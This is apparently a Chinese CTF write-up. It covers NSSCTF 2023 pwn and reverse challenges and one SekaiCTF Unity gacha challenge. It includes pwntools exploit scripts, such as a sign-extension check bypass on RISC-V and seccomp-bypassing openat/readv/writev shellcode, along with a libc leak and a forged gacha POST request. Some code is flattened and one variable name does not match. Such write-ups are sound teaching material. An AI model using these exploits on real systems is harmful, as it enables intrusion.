NSSCTF-2nd(pwn方向全部,re两道)
WMCTF(待补充)
SEKAICTF(re一道)
也许还有……
NSSCTF-2023 比赛中解出2道re和1道pwn,算是正常发挥了
ls-pwn(finish):
NewBottleOldWine
xenny的诱惑
happy2
ls-re:
Pwn-NewBottleOldWine 附件: newBottleOldWine
在做题之前: 文件是RISC-V架构的,临时学了一点risc-v的汇编:
做本题大概只需要知道如下几条:
l(Load)系,l开头的基本就是取值,比如li a5, a4 就是把a4的值取到a5那里
另外有个比较特殊的是lui,addi,这两个是对li的拓展,一般要传递一个数据(通常是地址)高20位用lui,低12位用addi
比如:要传递0x11451419给a5寄存器,就会使用
lui a5, 0x11451
addi a5, a5, 0x419
s(store)系,s开头基本表示存值,比如sw a5, -14h(s0),表示把a5寄存器的值写入s0偏移为-0x14的地址
j(jump)系,j开头基本就是跳转了,这里是无条件跳转
有条件的跳转常常是b开头,比如bgtz a5, label_1 就是把a5寄存的值和0比较,a5为正就会跳转到label_1,为负就继续往下执行;
bge a5, a4, label2,比较a5和a4,a5 >= a4 跳转到label2,反之继续执行
其他的诸如:mv,call,add,ret这些指令,都比较熟悉,功能也大差不差。
汇编码分析 进去先找找有没有后门:
后门在0x1145162A的位置,可以看到这里用lui和addi传递了一个完整的字符串地址,然后call system,跟进去看这个字符串是/bin/sh
然后往上翻发现了两个主要函数:
一个具有栈溢出漏洞(所以把这个函数改名为了vuln)
另一个应该就是主程序
main前半段:
可以看到程序先读入了一个int64,并把值传进qword_11453058
然后在把qword_11453058的值传给a5寄存器,用sext.w指令把a5拓展
sext.w的作用是把32位拓展到64位,保留符号,比如-1,十六进制表示为0xffffffff, 拓展为64位就把高32位全部填充1(保证还是和32位符号一致),变成了0xffffffffffffffff; 如果是正数,就把高32位全部填充0;
这里把a5拓展后再和0比较,小于就会继续往下执行到exit,所以这里a5必须要大于0
然后如果大于0跳转后,重新从qword_11453058取值到a4寄存器,然后a5赋值为0x9F(159),然后a5, a4比较,如果a5<a4,也就是a4>=160就会继续往下执行到exit。
main后半段:
所以要保证> 0 && < 160 才可以跳转到这里,这段逻辑很简单,就是取了qword_11453058的低16位(sw,只取word,也就是2字节),再加上start的地址(就是基地址0x11451400),然后跳转到这个地址。
一开始的思路是先跳转到read那里栈溢出到backdoor
我们发现vuln离start最近,相差0xA0(160),刚好过不了验证。所以需要绕过检测,可以输入一个负数,保证低32位是正数即可。这样在第一步拓展时就是拓展为正数,绕过了第一个检测,然后第二个检测那里由于是负数(注意前面拓展时是把输入值取到了a5寄存器再对a5拓展,输入的值并没有变) 自然可以绕过检测。
exp: 打完才想到可以直接从main跳转到后门那里,都不用栈溢出了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context.log_level = 'debug' io = remote('node6.anna.nssctf.cn' , 28299 ) to_sh_offset = -9223372036854775254 io.recvuntil(b'have?' ) io.sendline(str (to_vuln_offset)) io.interactive()
Pwn-xenny的诱惑 远程会发来一大段数据,拿去base64解出来一个ELF文件
文件: xenny_map
需要先走一段迷宫,然后orw
迷宫思路:
概况:
迷宫太大了,而且每个路口(姑且这么说,1000个函数当作1000个路口),都连通10个路口(对应输入的1-10),如果都不是就回到开始的main(步数,也就是文件里的tmp不会置零,也会+1),要保证刚好第1000步找到xenny。
我懒得分析如何走迷宫了,选择直接随机数爆破:),效果还不错
本地就先每次启动一个程序,然后设置seed,把走过的每一步都放在一个数组里(我叫做step_arr),然后先走到xenny那里(没到1000步,当然不在),然后一直发b'\n'
,就是一直回到main(发其他的也行,这个阶段就随便乱走,反正本地跑的快,不至于会alarm clock),最后留出来一定步数,再重新跑一遍step_arr(凑够1000次)
本地:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 sd = 1 step = 0 step_arr = [] while True : io = process('./map' ) random.seed(sd) while b'xenny' not in io.recvline() and step < 500 : choice = random.randint(1 , 10 ) io.sendline(str (choice)) step += 1 step_arr.append(choice) log.info('step: %d' % step) if len (step_arr) == 500 : sd += 1 step = 0 step_arr = [] io.close() continue print ('step_arr: ' , step_arr) print ('seed:' , sd) break len_step_arr = len (step_arr) log.info('len_step_arr: %d' % len_step_arr) print (step_arr)for i in range (1000 - 2 * len_step_arr): io.recvline() io.sendline('' ) for i in step_arr: io.recvline() io.sendline(str (i))
要注意的是:因为要跑2次step_arr,那么这个数组长度不能超过500,所以500后我就重启了程序,(重启记得初始化变量)
远程:
远程也差不多这样,不过考虑到有alarm(0x15),测试大概只能收发100多次,所以把临界值改成了150
while b'xenny' not in io.recvline() and step < 150:
if len(step_arr) == 150:
在探完路后(搞出来step_arr了),建议一直发非1-10的,触发default返回main,这样可以刷新alarm()
沙箱思路:
可以看到禁了read,write,open,先试了一下直接execve,打不通,应该是执行execve过程中触发了沙箱的某个限制,这里考虑使用openat,readv,writev函数来拿到flag
1 int openat (int dirfd , const char * pathname , int flags , ... ) ;
总结起来,如果pathname
是绝对路径,则dirfd
参数没用。如果pathname
是相对路径,并且dirfd
的值不是AT_FDCWD
,则pathname
的参照物是相对于dirfd
指向的目录,而不是进程的当前工作目录;反之,如果dirfd
的值是AT_FDCWD
,pathname
则是相对于进程当前工作目录的相对路径,此时等同于open
1 2 3 4 5 6 7 8 ssize_t readv (int fd, const struct iovec *iov, int iovcnt) ;ssize_t writev (int fd, const struct iovec *iov, int iovcnt) ;struct iovec { void *iov_base; size_t iov_len; };
readv()系统调用将从fd读入的数据按一定顺序散布到多个缓冲区,readv会先填满一个再填充下一个
writev()会按顺序,从各个缓冲区中聚集输出数据到fd
程序在0x10000到0x11000有wx权限,不妨直接写在这上面
1 2 3 4 5 6 payload = asm(shellcraft.openat(0 , b"/flag" , 0 )) payload += asm(shellcraft.readv(3 , 0x10100 , 1 )) payload += asm(shellcraft.writev(1 , 0x10100 , 1 )) payload = payload.ljust(0x100 , b'\x90' ) payload += p64(0x10700 ) + p64(0x40 ) payload += asm(shellcraft.exit(0 ))
readv和writev的第二个参数是结构体指针,这里指向0x10100,然后我们在0x10100的位置伪造一个结构体;第三个参数设置1是因为我们只需要一块缓冲区就够了。
完整exp(远程): 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *import randomcontext.arch = 'amd64' step = 0 step_arr = [] sd = 0 payload = asm(shellcraft.openat(0 , b"/flag" , 0 )) payload += asm(shellcraft.readv(3 , 0x10100 , 1 )) payload += asm(shellcraft.writev(1 , 0x10100 , 1 )) payload = payload.ljust(0x100 , b'\x90' ) payload += p64(0x10700 ) + p64(0x40 ) payload += asm(shellcraft.exit(0 )) while True : io = remote('node5.anna.nssctf.cn' , 28821 ) io.recvuntil(b"That's all\n" ) random.seed(sd) while b'xenny' not in io.recvline() and step < 150 : choice = random.randint(1 , 10 ) io.sendline(str (choice)) step += 1 step_arr.append(choice) log.info('step: %d' % step) if len (step_arr) == 150 : sd += 1 step = 0 step_arr = [] io.close() continue print ('step_arr: ' , step_arr) print ('seed:' , sd) break context.log_level = 'debug' for _ in range (1000 - 2 * len (step_arr)): io.recvline() io.sendline(b'' ) for i in step_arr: io.recvline() io.sendline(str (i)) res = io.recvuntil(b"don't forget your flag\n" ) context.log_level = 'debug' io.sendline(payload) io.interactive()
Pwn-happy2 附件: happy2
要绕过最后的一个判断,显然是要通过前面的printf泄露puts的地址
可以利用scanf在读取非数字字符时,不会返回值的特性,这里输入’+’号,就可以泄露栈中的数据了,动调发现第二个数据是stderr的地址,所以泄露stderr地址,再根据stderr和puts的偏移算出puts地址
1 2 3 4 5 6 7 8 9 io.recvuntil(b'konw\n' ) io.sendline(b'2' ) io.sendline(b'+' ) io.recv(1 ) io.sendline(b'+' ) stderr = int (io.recvuntil(b'you' , drop=True )) exit_addr = stderr - 0x1997d0 io.recvuntil(b'have a try\n' ) io.sendline(str (exit_addr).encode())
然后main里的思路是orw
用seccomp-tools dump一下,ban了execve,fork,connect,read(据说附件给错了,原本要ban的是readv),所以这里就用open,pread,write来拿到flag(思路和上一题差不多,不细讲了)
1 2 3 4 5 6 7 context.arch = 'amd64' payload = asm(shellcraft.open ('flag' )) payload += asm(shellcraft.pread(3 , 0x10100 , 0x30 , 0 )) payload += asm(shellcraft.write(1 , 0x10100 , 0x30 )) payload = payload.ljust(0x100 , b'\x90' ) payload += p64(0x10400 ) io.sendline(payload)
Re-MyBase 附件: myBase.exe
思路: 换表base64,发现每次base加密都利用随机数重新生成了一个新表,这里可以直接复刻代码逻辑用ctype来复原用过的表。
我这里是直接动调把表扒下来
exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 CLASSIC_TABLE = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' def b64decode (enc: str |bytes , key: str |bytes = CLASSIC_TABLE ) -> bytes : if isinstance (enc, str ): enc = enc.encode() if isinstance (key, str ): key = key.encode() if len (key) == 65 : padding = key[-1 ] elif len (key) == 64 : padding = (set (CLASSIC_TABLE) - set (key)).pop() key += bytes ([padding]) else : raise ValueError("Invalid key length" ) msg = [] l = len (enc) if l % 4 != 0 : raise ValueError("Invalid base64code length" ) for i in range (0 , l, 4 ): buf = key.index(enc[i]) << 18 | key.index(enc[i+1 ]) << 12 | key.index(enc[i+2 ]) << 6 | key.index(enc[i+3 ]) msg.append(buf >> 16 ) msg.append((buf >> 8 ) & 0xff ) msg.append(buf & 0xff ) if enc[-1 ] == padding: msg.pop() if enc[-2 ] == padding: msg.pop() return bytes (msg) enc = b'YkLYv1Xj23X7N0E5eoFgUveKeos1XS8K9r4g' key = [ '+86420ywusqomkigecaYWUSQOMKIGECABDFHJLNPRTVXZbdfhjlnprtvxz13579/' , 'YsVO0tvT2o4puZ38j1dwf7MArGPNeQLDRHUK+SChbFanmklWEcgixXJIq6y5B/9z=' , 'xDfpNE4LYH5Tk+MRtrlv1oFbQm0gP37eqIajh2syUnZcSV8iBK6O/XWuzdCwA9GJ=' , 'YvHeOZECmTyg0Mw2i7PIGKblsfF59rzUk6p3hVdW1qaQ+xRANnXLj48BcJDotS/u=' , 'xDfpNE4LYH5Tk+MRtrlv1oFbQm0gP37eqIajh2syUnZcSV8iBK6O/XWuzdCwA9GJ=' , 'YvHeOZECmTyg0Mw2i7PIGKblsfF59rzUk6p3hVdW1qaQ+xRANnXLj48BcJDotS/u=' , 'xDfpNE4LYH5Tk+MRtrlv1oFbQm0gP37eqIajh2syUnZcSV8iBK6O/XWuzdCwA9GJ=' , 'YvHeOZECmTyg0Mw2i7PIGKblsfF59rzUk6p3hVdW1qaQ+xRANnXLj48BcJDotS/u=' , 'xDfpNE4LYH5Tk+MRtrlv1oFbQm0gP37eqIajh2syUnZcSV8iBK6O/XWuzdCwA9GJ=' , ] flag = b'' i = 0 for k in key: flag += b64decode(enc[i*4 :i*4 +4 ][::-1 ], k) i += 1 print (flag)
Re-Bytecode 附件: Bytecode.txt
字节码,直接手搓!!!
复原代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from base64 import *import stringdef check (key ): x = [78 , 82 , 81 , 64 , 80 , 67 , 125 , 83 , 96 , 56 , 121 , 84 , 61 , 126 , 81 , 79 , 79 , 119 , 38 , 120 , 39 , 74 , 112 , 38 , 44 , 126 , 103 ] if len (key) != len (x): print ('wrong length!' ) exit(0 ) for i in range (len (key)): if ord (key[i]) ^ i != x[i]: return 0 return 1 def init (key ): s_box = list (range (256 )) j = 0 for i in range (256 ): j = (j + s_box[i] + ord (key[i % len (key)])) % 256 s_box[j], s_box[i] = s_box[i], s_box[j] return s_box def fun (msg ): key = "Just kidding, don't take it personally!" x = [] for i in range (len (msg)): x.append(ord (msg[i]) ^ ord (key[i % len (key)])) for i in range (len (x)): x[i] = (x[i] ^ i) >> 3 return x def encrypt1 (msg, s_box ): x = [] i = 0 j = 0 for k in range (len (msg)): i = (i + 1 ) % 256 j = (j + s_box[i]) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] t = (s_box[i] + s_box[j]) % 256 x.append(msg[k] ^ s_box[t]) return x def encrypt2 (msg, s_box, key ): x = [] i = 0 j = 0 for k in range (len (msg)): i = (i + 1 ) % 256 j = (j + s_box[i]) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] t = (s_box[i] + s_box[j]) % 256 x.append(ord (msg[k]) ^ s_box[t] ^ ord (key[i])) return x def encrypt (msg, s_box ): x = [] i = 0 j = 0 for k in range (len (msg)): i = (i + 1 ) % 256 j = (j + s_box[i]) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] t = (s_box[i] + s_box[j]) % 256 x.append(msg[k] ^ s_box[t] ^ i) return x if __name__ == '__main__' : key = input ("Please input your key:" ) if check(key) == 1 : print ("right!" ) else : print ("wrong!" ) exit(0 ) msg = input ("Please input your msg:" ) box = init(key) encode = encrypt(msg, box) string1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' string2 = 'YRiAOe4PlGvxaCoNj2ZgX+q8t/5Em6IUpM9FrVb7BKwsT1n3fSydhDWuQHJ0ckzL' encode = b64encode(bytes (encode)).decode().translate(str .maketrans(string1, string2)) if encode == 'mWGFL24R/RSZY3pzK9H4FOmFOnXJKyCjXWbZ7Ijy11GbCBukDrjsiPPFiYB=' : print ('Congraduation!You get the right flag!' ) else : print ('wrong' )
发现为了混淆写了几个没有用上的函数,这里只用到了check,init,enctypt这三个函数
显然是一个RC4加密(变种,但是思路还是一样,加解密一样)
exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from base64 import *def rc4 (key, msg ): s_box = list (range (256 )) j = 0 for i in range (256 ): j = (j + s_box[i] + ord (key[i % len (key)])) % 256 s_box[j], s_box[i] = s_box[i], s_box[j] i = 0 j = 0 x = [] for k in range (len (msg)): i = (i + 1 ) % 256 j = (j + s_box[i]) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] t = (s_box[i] + s_box[j]) % 256 x.append(msg[k] ^ s_box[t] ^ i) return x string1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' string2 = 'YRiAOe4PlGvxaCoNj2ZgX+q8t/5Em6IUpM9FrVb7BKwsT1n3fSydhDWuQHJ0ckzL' enc = 'mWGFL24R/RSZY3pzK9H4FOmFOnXJKyCjXWbZ7Ijy11GbCBukDrjsiPPFiYB=' enc = b64decode(enc.translate(str .maketrans(string2, string1))) x = [78 , 82 , 81 , 64 , 80 , 67 , 125 , 83 , 96 , 56 , 121 , 84 , 61 , 126 , 81 , 79 , 79 , 119 , 38 , 120 , 39 , 74 , 112 , 38 , 44 , 126 , 103 ] key = [] for i in range (len (x)): key.append(chr (x[i] ^ i)) print ('' .join(key))flag = rc4(key, enc) print (bytes (flag))
SekaiCTF 只看了一道re,打nss去了
re-Asusawa’a Gacha World(finish)
Re-Asusawa’a Gacha World u3d逆向,先找Assembly CSharp.dll用dotpeek打开
在character里面找到flag,查看引用发现4星卡会有flag
然后继续找引用,发现抽卡不在本地,每次抽卡是要发送post请求,
所以思路就是伪造抽卡请求,然后抽到4星卡,获得flag。
exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsurl = 'http://172.86.64.89:3000/gacha' headers = { 'Content-Type' : 'application/json' , 'User-Agent' : 'SekaiCTF' , } json = { 'crystals' : 100 , 'numPulls' : 1 , 'pulls' : 999999 , } s = requests.Session() r = s.post(url, headers=headers, json=json) res = r.json() print (res)
拿到一段base64,解码得到flag图片